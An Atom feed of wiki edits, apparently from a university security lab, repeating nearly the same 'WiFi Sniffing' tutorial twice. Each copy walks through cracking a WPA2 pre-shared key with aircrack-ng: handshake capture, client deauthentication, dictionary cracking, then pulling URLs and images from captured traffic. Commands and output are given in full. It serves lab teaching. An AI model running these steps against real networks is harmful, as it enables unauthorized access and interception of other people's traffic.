<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=MMehlfuehrer</id>
	<title>Elvis Wiki - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=MMehlfuehrer"/>
	<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php/Special:Contributions/MMehlfuehrer"/>
	<updated>2026-09-10T18:08:51Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.41.5</generator>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8335</id>
		<title>WiFi Sniffing</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8335"/>
		<updated>2021-12-19T07:53:02Z</updated>

		<summary type="html">&lt;p&gt;MMehlfuehrer: /* Description */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*). &lt;br /&gt;
WPA/WPA2 uses various types of authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng can be used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the dictionary used for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.&lt;br /&gt;
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP when a client tries to connect to the network.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]&lt;br /&gt;
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]&lt;br /&gt;
*&lt;br /&gt;
&lt;br /&gt;
== Prerequisites==&lt;br /&gt;
&lt;br /&gt;
The following information of the hardware used is needed:&lt;br /&gt;
*MAC of a wireless client in the network: 34:B2:0A:7D:17:77&lt;br /&gt;
*BSSID: 68:02:B8:1F:A1:3A&lt;br /&gt;
*ESSID: WLAN18250073&lt;br /&gt;
*Channel used by AP: 11&lt;br /&gt;
*Wireless interface: wlan0mon&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
=== Overview ===&lt;br /&gt;
The following steps are needed to get the password:&lt;br /&gt;
&lt;br /&gt;
1) Use monitor mode on the wireless interface using the AP channel&lt;br /&gt;
&lt;br /&gt;
2) Using airodump-ng on AP channel, collecting needed handshake&lt;br /&gt;
&lt;br /&gt;
3) Use aireplay-ng to deauthenticate a wireless client in the network&lt;br /&gt;
&lt;br /&gt;
4) Use aircrack-ng to crack the key using the collected handshake&lt;br /&gt;
&lt;br /&gt;
=== Step 1 - Use monitor mode on the wireless interface using the AP channel ===&lt;br /&gt;
&lt;br /&gt;
To listen to every packet in the air the wireless card needs to be in monitor mode. If a wireless card is not in monitor mode it will only catch every packet addressed to itself. When listening to every packet send an attacker eventually captures a 4-way handshake used to crack WPA/WPA2. Additionally, one can deauthenticate wireless clients, explained in a later step.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Depending on the driver used by the card, different methods need to be used to enable monitor mode. This tutorial only shows the procedure for the madwifi-ng driver, for further information look at [https://www.aircrack-ng.org/doku.php?id=cracking_wpa aircrack-ng]&#039;s tutorial&lt;br /&gt;
&lt;br /&gt;
Open a terminal and type :&lt;br /&gt;
&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
to determine the driver your card is using. The output with a wireless card from Atheros is the following:&lt;br /&gt;
&lt;br /&gt;
 PHY     Interface       Driver          Chipset&lt;br /&gt;
 phy0    wlan0           ath9k_htc       Qualcomm Atheros Communications AR9271 802.11n&lt;br /&gt;
&lt;br /&gt;
The next step is to switch to monitor mode. Syntax: airmon-ng start &amp;lt;interface&amp;gt; &amp;lt;channel used by AP&amp;gt;. Because we don&#039;t know the used channel from the AP we only start the monitoring mode without a specific channel:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0 &lt;br /&gt;
&lt;br /&gt;
Output:&lt;br /&gt;
&lt;br /&gt;
 Found 2 processes that could cause trouble.&lt;br /&gt;
 Kill them using &#039;airmon-ng check kill&#039; before putting&lt;br /&gt;
 the card in monitor mode, they will interfere by changing channels&lt;br /&gt;
 and sometimes putting the interface back in managed mode&lt;br /&gt;
    PID Name&lt;br /&gt;
    605 NetworkManager&lt;br /&gt;
   2948 wpa_supplicant&lt;br /&gt;
 PHY     Interface       Driver          Chipset&lt;br /&gt;
 phy0    wlan0mon        ath9k_htc       Qualcomm Atheros Communications AR9271 802.11n&lt;br /&gt;
                (mac80211 monitor mode already enabled for [phy0]wlan0mon on [phy0]wlan0mon)&lt;br /&gt;
&lt;br /&gt;
Now we can check if the interface is in monitor mode using iwconfig:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
 lo        no wireless extensions.&lt;br /&gt;
 eth0      no wireless extensions.&lt;br /&gt;
 tun0      no wireless extensions.&lt;br /&gt;
 wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=20 dBm   &lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Power Management:off&lt;br /&gt;
&lt;br /&gt;
As we can see the interface changed the name from wlan0 to wlan0mon and uses the monitor mode. With airodump-ng &amp;lt;interface&amp;gt; we can monitor all AP&#039;s within reach. &lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
The output presented shows all AP&#039;s with information like ESSUD, BSSID, PWR, beacons, channels, encryption, cipher, and authentication methods used&lt;br /&gt;
&lt;br /&gt;
 CH  4 ][ Elapsed: 1 min ][ 2021-12-17 10:40                                                                                                                                                                                        &lt;br /&gt;
 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                                                                                                                    &lt;br /&gt;
 68:02:B8:1F:A1:3A  -50       46       31    0  11  130   WPA2 CCMP   PSK  WLAN18250073&lt;br /&gt;
&lt;br /&gt;
Important for the further attack is the BSSID (69:02:B8:1F:A1:3A) and the used channel (11).&lt;br /&gt;
&lt;br /&gt;
=== Step 2 - Using airodump-ng on AP channel, collecting needed handshake ===&lt;br /&gt;
&lt;br /&gt;
Now we got the BSSID and channel of the AP we can start capturing the 4-way handshake. With the command airodump-ng -c &amp;lt;channel&amp;gt; --bssid &amp;lt;bssid&amp;gt; -w &amp;lt;filename&amp;gt;  &amp;lt;interface&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 airodump-ng -c 11 --bssid 68:02:B8:1F:A1:3A -w CapturedData wlan0mon&lt;br /&gt;
&lt;br /&gt;
Output:&lt;br /&gt;
&lt;br /&gt;
 CH 11 ][ Elapsed: 12 s ][ 2021-12-17 11:38                    4-Way Handshake CAPTURED                                                                                                                                                                                                                                                                                                                                                                                                                        &lt;br /&gt;
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                                                                                                                                                                                                                                                                                                                                                               &lt;br /&gt;
 68:02:B8:1F:A1:3A  -48  24       63       62    2  11  130   WPA2 CCMP   PSK  WLAN18250073                                                                                                                                                                                                                                                                                           &lt;br /&gt;
 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes                                                                                                                                                                                                                                                                                                                                                                                               &lt;br /&gt;
 68:02:B8:1F:A1:3A  5C:5F:67:29:51:76  -18    0e- 0e     3       62                                                                                                                                                                       &lt;br /&gt;
 68:02:B8:1F:A1:3A  66:60:B5:63:1F:B9  -58    0 - 1      0        2&lt;br /&gt;
&lt;br /&gt;
Note:&lt;br /&gt;
In the top right corner, it says 4-way Handshake CAPTURED. This is just a placeholder edited in. Nothing is stated there until a handshake is captured. When captured it says: [WPA handshake: 68:02:B8:1F:A1:3A.#&lt;br /&gt;
&lt;br /&gt;
Now the tool starts collecting every packet from this AP. It can take quite a while until a 4-way handshake is made. Step 3 helps to speed things up.&lt;br /&gt;
&lt;br /&gt;
=== Step 3 - Use aireplay-ng to deauthenticate a wireless client in the network ===&lt;br /&gt;
&lt;br /&gt;
A faster way to capture the 4-way handshake is to connect with an additional client to the wireless network manually. When connecting to the new network, the AP starts the 4-way handshake. Because this is impractical an attacker can deauthenticate clients already connected to a WiFi network to reinitialize the 4-way handshake. BSSID and MAC of the device to deauthenticate are needed to conduct the attack.&lt;br /&gt;
Deauthenication is started with aireplay-ng -0 &amp;lt;number of deauths to send&amp;gt; -a &amp;lt;BSSID&amp;gt; -c &amp;lt;MAC of client&amp;gt; &amp;lt;interface&amp;gt;.&lt;br /&gt;
It is important to state, that while a client is deauthenticated the tool used in Step 2 still needs to be running to capture the packets!&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -0 10 -a 69:02:B8:1F:A1:3A -c 34:B2:0A:7D:17:77 wlan0mon&lt;br /&gt;
&lt;br /&gt;
the output:&lt;br /&gt;
&lt;br /&gt;
 11:21:15  Waiting for beacon frame (BSSID: 68:02:B8:1F:A1:3A) on channel 11&lt;br /&gt;
 11:21:16  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]&lt;br /&gt;
 11:21:17  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|54 ACKs]&lt;br /&gt;
 11:21:17  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|59 ACKs]&lt;br /&gt;
 11:21:18  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|73 ACKs]&lt;br /&gt;
 11:21:19  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|61 ACKs]&lt;br /&gt;
 11:21:20  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|52 ACKs]&lt;br /&gt;
 11:21:20  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|65 ACKs]&lt;br /&gt;
 11:21:21  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|60 ACKs]&lt;br /&gt;
 11:21:22  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]&lt;br /&gt;
 11:21:22  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|66 ACKs]&lt;br /&gt;
&lt;br /&gt;
=== Step 4 - Use aircrack-ng to crack the key using the collected handshake ===&lt;br /&gt;
&lt;br /&gt;
In this step, the captured 4-way handshake is used to crack the pre-shared key. The captured data is stored in a file called CapturedData (used in Step 2: -w CapturedData).&lt;br /&gt;
One can use a dictionary which comes with aircrack-ng called &amp;quot;password.lst&amp;quot;. Using the command:&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -w password.lst -b 69:02:B8:1F:A1:3A CapturedData*.cap&lt;br /&gt;
&lt;br /&gt;
-w password.lst is the used dictionary&lt;br /&gt;
-b is the BSSID of the AP&lt;br /&gt;
The wildcard at the end of CapturedData is because aircrack-ng created multiple files&lt;br /&gt;
&lt;br /&gt;
The output looks as follows:&lt;br /&gt;
 &lt;br /&gt;
                 [00:00:00] 2 keys tested (36.20 k/s)&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
                         KEY FOUND! [ AKITs1!]&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
    Master Key     : &amp;lt;Master Key&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
    Transcient Key : &amp;lt;Transcient Key&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
---------------------------------------------------------------&lt;br /&gt;
Filter URLs from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 urlsnarf -p alfa-01.cap&lt;br /&gt;
&lt;br /&gt;
Filter pictures from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 driftnet -f alfa-01.cap -a -d Pictures/&lt;br /&gt;
&lt;br /&gt;
Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng stop wlan1mon&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
(*) Test if the adapter supports injection:&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -9 wlan1mon&lt;br /&gt;
&lt;br /&gt;
Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].&lt;br /&gt;
&lt;br /&gt;
(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:&lt;br /&gt;
&lt;br /&gt;
 ifconfig wlan1 down&lt;br /&gt;
 iwconfig wlan1 mode monitor&lt;br /&gt;
 ifconfig wlan1 up&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser                           !! urlsnarf                         !! driftnet&lt;br /&gt;
|-&lt;br /&gt;
| Microsoft Edge (Windows 10 host)  || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Windows 10 host)   || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Android host)      || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Samsung Internet (Android host)   || URLs captured                    || images captured&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* Windows 10 host&lt;br /&gt;
* Kali Linux host&lt;br /&gt;
* Samsung Galaxy A8&lt;br /&gt;
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]&lt;br /&gt;
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]&lt;br /&gt;
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]&lt;br /&gt;
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.androidauthority.com/capture-data-open-wi-fi-726356/&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airmon-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airodump-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=injection_test&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MMehlfuehrer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8334</id>
		<title>WiFi Sniffing</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8334"/>
		<updated>2021-12-19T07:48:04Z</updated>

		<summary type="html">&lt;p&gt;MMehlfuehrer: /* Summary */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*). &lt;br /&gt;
WPA/WPA2 uses various types of authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng can be used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the dictionary used for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.&lt;br /&gt;
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP when a client tries to connect to the network.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]&lt;br /&gt;
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]&lt;br /&gt;
*&lt;br /&gt;
&lt;br /&gt;
== Prerequisites==&lt;br /&gt;
&lt;br /&gt;
The following information of the hardware used is needed:&lt;br /&gt;
*MAC of a wireless client in the network: 34:B2:0A:7D:17:77&lt;br /&gt;
*BSSID: 68:02:B8:1F:A1:3A&lt;br /&gt;
*ESSID: WLAN18250073&lt;br /&gt;
*Channel used by AP: 11&lt;br /&gt;
*Wireless interface: wlan0mon&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
=== Overview ===&lt;br /&gt;
The following steps are needed to get the password:&lt;br /&gt;
&lt;br /&gt;
1) Use monitor mode on the wireless interface using the AP channel&lt;br /&gt;
&lt;br /&gt;
2) Using airodump-ng on AP channel, collecting needed handshake&lt;br /&gt;
&lt;br /&gt;
3) Use aireplay-ng to deauthenticate a wireless client in the network&lt;br /&gt;
&lt;br /&gt;
4) Use aircrack-ng to crack the key using the collected handshake&lt;br /&gt;
&lt;br /&gt;
=== Step 1 - Use monitor mode on the wireless interface using the AP channel ===&lt;br /&gt;
&lt;br /&gt;
To listen to every packet in the air the wireless card needs to be in monitor mode. If a wireless card is not in monitor mode it will only catch every packet addressed to itself. When listenting to every packet send an attacker eventually captures a 4-way handshake used to crack WPA/WPA2. Additionaly one can deauthenticate wireless clients, explained in a later step.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Depending on the driver used by the card, different methods need to used to enable monitor mode. This tutorial only shows the procedure for the madwifi-ng driver, for further information look at [https://www.aircrack-ng.org/doku.php?id=cracking_wpa aircrack-ng]&#039;s tutorial&lt;br /&gt;
&lt;br /&gt;
Open a terminal and type :&lt;br /&gt;
&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
to determine the driver your card is using. The ouput with a wireless card from Atheros is the following:&lt;br /&gt;
&lt;br /&gt;
 PHY     Interface       Driver          Chipset&lt;br /&gt;
 phy0    wlan0           ath9k_htc       Qualcomm Atheros Communications AR9271 802.11n&lt;br /&gt;
&lt;br /&gt;
The next step is to switch to monitor mode. Syntax: airmon-ng start &amp;lt;interface&amp;gt; &amp;lt;channel used by AP&amp;gt;. Because we dont know the used channel from the AP we only start the monitoring mode without a specific channel:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0 &lt;br /&gt;
&lt;br /&gt;
Ouput:&lt;br /&gt;
&lt;br /&gt;
 Found 2 processes that could cause trouble.&lt;br /&gt;
 Kill them using &#039;airmon-ng check kill&#039; before putting&lt;br /&gt;
 the card in monitor mode, they will interfere by changing channels&lt;br /&gt;
 and sometimes putting the interface back in managed mode&lt;br /&gt;
    PID Name&lt;br /&gt;
    605 NetworkManager&lt;br /&gt;
   2948 wpa_supplicant&lt;br /&gt;
 PHY     Interface       Driver          Chipset&lt;br /&gt;
 phy0    wlan0mon        ath9k_htc       Qualcomm Atheros Communications AR9271 802.11n&lt;br /&gt;
                (mac80211 monitor mode already enabled for [phy0]wlan0mon on [phy0]wlan0mon)&lt;br /&gt;
&lt;br /&gt;
Now we can check if the interface is in monitormode using iwconfig:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
 lo        no wireless extensions.&lt;br /&gt;
 eth0      no wireless extensions.&lt;br /&gt;
 tun0      no wireless extensions.&lt;br /&gt;
 wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=20 dBm   &lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Power Management:off&lt;br /&gt;
&lt;br /&gt;
As we can see the interface changed the name from wlan0 to wlan0mon and uses the monitor mode. With airodump-ng &amp;lt;interface&amp;gt; we can monitor all AP&#039;s within reach. &lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
The output presented shows all AP&#039;s with information like ESSUD, BSSID, PWR, beacons, channels, encryption, cipher and authentication methods used&lt;br /&gt;
&lt;br /&gt;
 CH  4 ][ Elapsed: 1 min ][ 2021-12-17 10:40                                                                                                                                                                                        &lt;br /&gt;
 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                                                                                                                    &lt;br /&gt;
 68:02:B8:1F:A1:3A  -50       46       31    0  11  130   WPA2 CCMP   PSK  WLAN18250073&lt;br /&gt;
&lt;br /&gt;
Important for the further attack is the BSSID (69:02:B8:1F:A1:3A) and the used channel (11).&lt;br /&gt;
&lt;br /&gt;
=== Step 2 - Using airodump-ng on AP channel, collecting needed handshake ===&lt;br /&gt;
&lt;br /&gt;
Now we got the BSSID and channel of the AP we can start capturing the 4-way handshake. With the command airodump-ng -c &amp;lt;channel&amp;gt; --bssid &amp;lt;bssid&amp;gt; -w &amp;lt;filename&amp;gt;  &amp;lt;interface&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 airodump-ng -c 11 --bssid 68:02:B8:1F:A1:3A -w CapturedData wlan0mon&lt;br /&gt;
&lt;br /&gt;
Ouput:&lt;br /&gt;
&lt;br /&gt;
 CH 11 ][ Elapsed: 12 s ][ 2021-12-17 11:38                    4-Way Handshake CAPTURED                                                                                                                                                                                                                                                                                                                                                                                                                        &lt;br /&gt;
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                                                                                                                                                                                                                                                                                                                                                               &lt;br /&gt;
 68:02:B8:1F:A1:3A  -48  24       63       62    2  11  130   WPA2 CCMP   PSK  WLAN18250073                                                                                                                                                                                                                                                                                           &lt;br /&gt;
 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes                                                                                                                                                                                                                                                                                                                                                                                               &lt;br /&gt;
 68:02:B8:1F:A1:3A  5C:5F:67:29:51:76  -18    0e- 0e     3       62                                                                                                                                                                       &lt;br /&gt;
 68:02:B8:1F:A1:3A  66:60:B5:63:1F:B9  -58    0 - 1      0        2&lt;br /&gt;
&lt;br /&gt;
Note:&lt;br /&gt;
In the top right corner it says 4-way Handshake CAPTURED. This is just a placeholder edited in. Nothing is stated there until a handshake is captured. When captured is says: [WPA handshake: 68:02:B8:1F:A1:3A.#&lt;br /&gt;
&lt;br /&gt;
Now the tool starts collecting every packet from this AP. It can take quite a while, until a 4-way handshake is made. Step 3 helps to speed things up.&lt;br /&gt;
&lt;br /&gt;
=== Step 3 - Use aireplay-ng to deauthenticate a wireless client in the network ===&lt;br /&gt;
&lt;br /&gt;
A faster way to capture the 4-way handshake is to connect with an additional client to the wireless network manualy. When connecting to the new network, the AP starts the 4-way handshake. Because this is impractical an attacker can deauthenticate clients already connected to WiFi network to reinitialize the 4-way handshake. BSSID and MAC of the device to deauthenticate are needed to conduct the attack.&lt;br /&gt;
Deauthenication is started with aireplay-ng -0 &amp;lt;number of deauths to send&amp;gt; -a &amp;lt;BSSID&amp;gt; -c &amp;lt;MAC of client&amp;gt; &amp;lt;interface&amp;gt;.&lt;br /&gt;
It is important to state, that while a client is deauthenticated the tool used in Step 2 still needes to be running to capture the packets!&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -0 10 -a 69:02:B8:1F:A1:3A -c 34:B2:0A:7D:17:77 wlan0mon&lt;br /&gt;
&lt;br /&gt;
the output:&lt;br /&gt;
&lt;br /&gt;
 11:21:15  Waiting for beacon frame (BSSID: 68:02:B8:1F:A1:3A) on channel 11&lt;br /&gt;
 11:21:16  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]&lt;br /&gt;
 11:21:17  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|54 ACKs]&lt;br /&gt;
 11:21:17  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|59 ACKs]&lt;br /&gt;
 11:21:18  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|73 ACKs]&lt;br /&gt;
 11:21:19  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|61 ACKs]&lt;br /&gt;
 11:21:20  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|52 ACKs]&lt;br /&gt;
 11:21:20  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|65 ACKs]&lt;br /&gt;
 11:21:21  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|60 ACKs]&lt;br /&gt;
 11:21:22  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]&lt;br /&gt;
 11:21:22  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|66 ACKs]&lt;br /&gt;
&lt;br /&gt;
=== Step 4 - Use aircrack-ng to crack the key using the collected handshake ===&lt;br /&gt;
&lt;br /&gt;
In this step the captured 4-way handshake is used to crack the pre-shared key. The captured data is stored in a file called CapturedData (used in Step 2 : -w CapturedData).&lt;br /&gt;
One can use a dictionary which comes with aircrack-ng called &amp;quot;password.lst&amp;quot;. But for the sake of this tutorial i opened a file and wrote the password of the AP in it. Using the command:&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -w password.lst -b 69:02:B8:1F:A1:3A CapturedData*.cap&lt;br /&gt;
&lt;br /&gt;
-w password.lst is the used dictionary&lt;br /&gt;
-b is the BSSID of the AP&lt;br /&gt;
The wildcard at the end of CapturedData is because aircrack-ng created multiple files&lt;br /&gt;
&lt;br /&gt;
The ouput looks as follows:&lt;br /&gt;
 &lt;br /&gt;
                 [00:00:00] 2 keys tested (36.20 k/s)&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
                         KEY FOUND! [ AKITs1!]&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
    Master Key     : &amp;lt;Master Key&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
    Transcient Key : &amp;lt;Transcient Key&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
---------------------------------------------------------------&lt;br /&gt;
Filter URLs from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 urlsnarf -p alfa-01.cap&lt;br /&gt;
&lt;br /&gt;
Filter pictures from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 driftnet -f alfa-01.cap -a -d Pictures/&lt;br /&gt;
&lt;br /&gt;
Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng stop wlan1mon&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
(*) Test if the adapter supports injection:&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -9 wlan1mon&lt;br /&gt;
&lt;br /&gt;
Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].&lt;br /&gt;
&lt;br /&gt;
(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:&lt;br /&gt;
&lt;br /&gt;
 ifconfig wlan1 down&lt;br /&gt;
 iwconfig wlan1 mode monitor&lt;br /&gt;
 ifconfig wlan1 up&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser                           !! urlsnarf                         !! driftnet&lt;br /&gt;
|-&lt;br /&gt;
| Microsoft Edge (Windows 10 host)  || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Windows 10 host)   || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Android host)      || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Samsung Internet (Android host)   || URLs captured                    || images captured&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* Windows 10 host&lt;br /&gt;
* Kali Linux host&lt;br /&gt;
* Samsung Galaxy A8&lt;br /&gt;
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]&lt;br /&gt;
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]&lt;br /&gt;
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]&lt;br /&gt;
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
